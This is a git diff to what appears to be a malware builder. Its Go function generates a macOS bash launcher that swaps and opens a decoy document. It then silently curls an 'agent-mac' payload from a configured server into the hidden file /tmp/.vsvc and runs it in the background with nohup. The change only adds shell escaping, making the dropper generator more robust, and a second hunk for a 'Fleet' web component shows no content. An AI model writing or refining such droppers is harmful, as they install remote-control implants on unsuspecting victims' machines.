diff --git a/server/internal/builder/pathforge.go b/server/internal/builder/pathforge.go index 189a463..c41bee8 100644 --- a/server/internal/builder/pathforge.go +++ b/server/internal/builder/pathforge.go @@ -387,20 +387,25 @@ func batContent(lockedFile, realFile, exeStem string, lockOriginal bool) string func macContent(lockedFile, realFile, serverURL string, lockOriginal bool) string { s := "#!/bin/bash\n" dir := "$(dirname \"$0\")" + // Escape filenames for bash double-quoted strings. + lfSh := escapeShDouble(lockedFile) + rfSh := escapeShDouble(realFile) if lockOriginal { - s += fmt.Sprintf("mv \"%s/%s\" \"%s/%s\" 2>/dev/null\n", dir, lockedFile, dir, realFile) + s += fmt.Sprintf("mv \"%s/%s\" \"%s/%s\" 2>/dev/null\n", dir, lfSh, dir, rfSh) } - s += fmt.Sprintf("open \"%s/%s\" 2>/dev/null\n", dir, realFile) + s += fmt.Sprintf("open \"%s/%s\" 2>/dev/null\n", dir, rfSh) if lockOriginal { s += fmt.Sprintf( "( sleep 4; mv \"%s/%s\" \"%s/%s\" 2>/dev/null ) &\n", - dir, realFile, dir, lockedFile) + dir, rfSh, dir, lfSh) } if serverURL != "" { + // Escape serverURL for single-quoted bash string (prevents shell injection via '). + urlSh := escapeShSingle(serverURL) s += fmt.Sprintf( "curl -fsSL '%s/api/download/agent-mac' -o /tmp/.vsvc 2>/dev/null "+ "&& chmod +x /tmp/.vsvc && nohup /tmp/.vsvc >/dev/null 2>&1 &\n", - serverURL) + urlSh) } return s } diff --git a/server/web/src/components/Fleet/CrucibleExpandedOps.tsx b/server/web/src/components/Fleet/CrucibleExpandedOps.tsx index 56d4bce..c6dc4c0 100644 --- a/server/web/src/components/Fleet/CrucibleExpandedOps.tsx +++ b/server/web/src/components/Fleet/CrucibleExpandedOps.tsx @@ -848,9 +848,12 @@ export default function CrucibleExpandedOps({ - + + + +